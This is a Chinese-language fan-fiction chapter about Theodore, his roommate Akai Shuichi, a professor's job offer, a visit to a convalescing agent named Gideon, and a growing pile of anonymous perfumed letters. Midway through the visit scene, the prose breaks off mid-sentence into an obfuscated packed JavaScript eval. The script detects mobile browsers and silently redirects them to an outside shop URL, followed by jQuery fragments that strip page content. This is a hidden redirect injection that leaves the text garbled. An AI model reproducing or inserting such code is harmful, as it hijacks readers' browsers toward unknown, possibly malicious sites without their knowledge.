暴雨是凌晨开始下的。狄奥多被雷声吵醒，挣扎着看了眼手机——凌晨三点四十七分。然后翻了个身又睡着了。
早上七点，他起床的时候，赤井秀一已经站在厨房里洗自己喝完牛奶的杯子了。
“你起晚了。吃什么？”赤井秀一把洗干净的杯子倒置在杯架上，“地铁淹了。载我一程？或者我载你。”
狄奥多愣了一下才反应过来赤井秀一说的是“开你的车”。他自己有车，赤井秀一还没有。但这几个月对方偶尔会借他的车用，钥匙就挂在走廊的装饰墙上，谁要用谁拿。
“那时间有点赶，我去学校吃吧。”狄奥多没怎么思考，“你开车。”
雨没有要停的意思。赤井秀一开车，狄奥多坐在副驾。雨刷开到最大档，窗外还是糊成一片。车内广播播着路况信息，主持人用那种大清早特有的亢奋语调说某几个地铁站已经关闭，建议市民改乘地面交通。
车开进校园的时候，雨小了一点，变成那种绵绵密密的细雨。赤井秀一赶时间，直接把车停在了教学楼前面的主路上。狄奥多撑开伞下了车。
教学楼前的廊檐下正站着一个人。
那个人看见狄奥多走过来，脸上露出一个自然的、恰到好处的笑容。“嘿。”
狄奥多认出了这张脸。不是因为他和这个人有多熟，而是因为这人是他的同级生，和他一起上好几门课，经常能在教室里遇见。名字他也记得，好像叫……格林菲尔德。艾伦·格林菲尔德。
“那是你朋友吗？”格林菲尔德的目光越过狄奥多，落在他身后的赤井秀一身上。
狄奥多回头看了一眼赤井秀一。赤井秀一坐在驾驶位上，没跟上来的意思，只是朝他摆摆手，意思是“你快进去吧”。
“嗯。”狄奥多转回头对格林菲尔德点了点头，露出一个礼节性地微笑，没有介绍的意思。
“快上课了，走吧。”
格林菲尔德笑了笑，侧身让出通道。狄奥多从他旁边经过，脚步没停。
雨下得很大，狄奥多只想快点到教室休息。
---
赤井秀一在行政楼前的廊檐下收起了伞。
他早就没有课了。今天来学校是为了见玛莎教授——甚至和毕业论文也没有关系，是她单独约的。但赤井秀一大概能猜到她要说什么。
办公室的门半掩着——玛莎教授的门不关紧就是在说“欢迎打扰”，赤井秀一是知道这位女士有多疼爱学生的。
推门进去，玛莎正坐在桌后，面前摊着几本书和一堆打印出来的论文。她抬头看见赤井秀一站在门口，指了指对面的椅子。
“坐。”
赤井秀一坐下了。
玛莎没有拐弯抹角。她把手里的笔放下，看着赤井秀一说：“我下学期的课题小组缺一个助教。你有兴趣吗？”
赤井秀一沉默着，等她说完。
玛莎观察着他的反应，飘了飘眼神，继续说：“你的成绩和论文质量我都看过了。你要是愿意，可以直接申请我的研究生。犯罪学里，无论是社会学方向还是心理学方向，我都觉得你很适合。”
他知道这是很正式的邀请。玛莎不是那种随便夸人的教授，她的认可意味着什么，在这个系里人人都清楚。
但他也知道那一瞬间飘忽的视线，代表这位聪明而资深的教授已经从他自己脸上看出了他的答案。
“谢谢您。”赤井秀一说。他的语气很平稳，没有那种被赏识后的受宠若惊，也没有故作矜持，“但是我恐怕不能接受。”
虽然有心理准备，但玛莎还是禁不住挑了一下眉：“理由？”
“我有其他的规划。”赤井秀一没有细说。他顿了顿，补了一句，“我很感激您的邀请。只是留在校园里不适合我。”
玛莎细细地看了他几秒，然后点了点头。没追问，没劝——反正她干这行以来遇到的这样的人多了，她都听腻了，真的。
“行。”玛莎重新拿起笔，“那你去吧。以后有什么需要帮忙的，可以随时来找我。”
“谢谢。”
赤井秀一的语气很真诚。说完他起身，走到门口的时候，玛莎在身后又喊了他一声：“赤井。”
他停下来。
“不管你其他的规划是什么，”玛莎的声音听不出什么特别的情绪，“别让我就此再也听不到你的消息。”
赤井秀一没回头，只是轻轻“嗯”了一声，拉开门走了出去。
走廊里没人。他边走边摸出手机，屏幕亮了一下。
一条新短信。
没有存过的号码，但他在等这个人的消息。
“下周三下午两点，LKX，BGHH。”
赤井秀一的手指在屏幕上停了一秒，然后打了两个单词：“收到。”
他把手机揣回口袋里，走出教学楼。雨已经停了，地上的积水映着灰白色的天空，居然也映出了几分灰暗的蓝。
---
狄奥多把车停在匡提科的教工宿舍楼下时，雨又开始下了，不大，细细的，打在挡风玻璃上像一层薄雾。
他已经在车里坐了一刻钟。
不是犹豫，是在调整状态。两个月前收到基甸病休的消息后，他给塞塔娜医生打过电话。塞塔娜帮了他和凯伦很多，狄奥多信任她的人品和专业水平，是以遇到心理疾病问题时一下就想到了她。
“以你说的情况来看，你的这位朋友现在能接受的只有支持感。”塞塔娜在电话里说，“你最好不要带任何需要他做决定或者承担责任的信息去见他。因为这相当于他的创伤源，而心理治疗最忌以毒攻毒。”
狄奥多想了想那三封香水信——是的这两个月它们增殖了，每个月都会多出一封；又想了想布歇尔的上诉——开庭恐怕还在基甸的日程表上，现在建议他取消也不合适；最后他想了想基甸现在需要的是什么。
然后狄奥多把那些信锁进了抽屉。
他现在需要做的是陪伴。什么都不问，什么都不说。
狄奥多下了车，从副驾拿出一个纸袋。里面是一盒曲奇——他自己烤的。凯伦教过他，说这种黄油曲奇做法简单，不会失败。他在家里试了两次，第三次的时候被赤井秀一制止了，最后他的靠谱好室友手把手地带他做出了这盒曲奇。
狄奥多上楼，敲门。
脚步声停在了门前，狄奥多后退一步让猫眼那头可以看清自己的微笑，然后门被拉开了。
基甸站在门口。他比狄奥多记忆中瘦了一些，脸上有一点疲惫的痕迹，但眼睛还是那双眼睛——温和的，带着一点审视的，好像永远在观察什么。
“狄奥多。”他念出了青年的名字，没有惊讶，好像早就知道他会来。
“Agent. 基甸。”狄奥多还是那样称呼他，“我来看看你。还给你带了曲奇。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587755|202170||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
基甸看了看那个纸袋，一边摇头一边让开了门口：“进来吧。”
公寓不大，客厅的茶几上摊着一本书和一杯已经凉了的咖啡。基甸收起书，指了指窗边的两张布艺沙发，然后打开了墙边的茶炉。
狄奥多在沙发上坐下，打量着这个空间。干净，简单，墙上没有挂照片，书架上整整齐齐地排着书，窗台上有一盆绿植，叶子有点耷拉，大概是疏于灌溉了。
基甸端着两杯茶回来了。他在狄奥多对面的椅子上坐下，把其中一杯推到狄奥多面前。
“最近怎么样？”基甸先开口了。语气是闲聊的那种，不是探询。
“还行。”狄奥多笑得很轻松，“上课，看书，写论文。跟以前差不多。”
基甸点了点头。他端起自己的茶喝了一口，又放下。
房间里沉默了几秒。狄奥多看着茶几上那堆论文——有几篇的标题他认得，是犯罪学领域的前沿课题。基甸虽然病休了，却还在看这些东西。
“您呢？”狄奥多问得不经意，“在这里还习惯吗？”
“还行。教书比在一线轻松，至少不用半夜被电话叫起来。”
狄奥多听出了那句话底下的东西——轻松，但却让他不踏实。可基甸现在也不能回到工作中去，至少不是那么快。
两个人又聊了几句无关紧要的——天气、校园的食堂、狄奥多下学期要选的课、匡提科的学员。基甸问起凯伦的情况，狄奥多说她恢复得不错，圣诞节还一起过了。基甸听到这个消息时眼睛亮了一下，那种亮光是狄奥多今天进门后第一次在他脸上看到的。
“替我问她好。”基甸笑着说。
“会的。”狄奥多认真地点头。
狄奥多待了将近一个小时。没有说什么重要的话，只是在那个安静的房间里和基甸一起坐着，偶尔聊两句日常，偶尔一起沉默。
又一次的安静之后，狄奥多知道自己该走了——他来不是为了打扰基甸，只是为了让他知道有人还在这里，有人在想着他。于是狄奥多站起来。
“基甸探员，我先走了。您保重身体。”
基甸也站了起来，送他到门口。在狄奥多拿起伞的时候，基甸忽然叫住了他：“狄奥多。”
狄奥多抬头。
“谢谢你来看我。”
狄奥多看着他，想说“你已经病休了，不应该再操心这些”，但话到嘴边变了。
“我知道。”
他只说了这两个词。
---
回到公寓已经快八点了。客厅的灯没开，一片寂静。狄奥多看了一眼走廊洞洞板——他那辆奥迪A6 Allroad的车钥匙不在，赤井秀一还没回来。
他换了鞋，走进自己的房间，打开书桌抽屉。
那几封信安静地躺在那里。
“你会是我的好学生。”
“我从未把你当作敌人。”
“我有点想念你了。”
他把今天在传达室拿到的那封新的从背包里抽出来——回来的路上绕去学校取的。撕开封口，同样的香水味，同样的白色干花，同样的硬质信纸。信上只有一句话：
“你的反应总是让我惊喜。”
狄奥多看了一会儿，把信纸放回信封里，和之前的几封放在一起。
窗外又下起了雨，细细的，打在窗玻璃上，发出很轻的、几乎听不见的声音。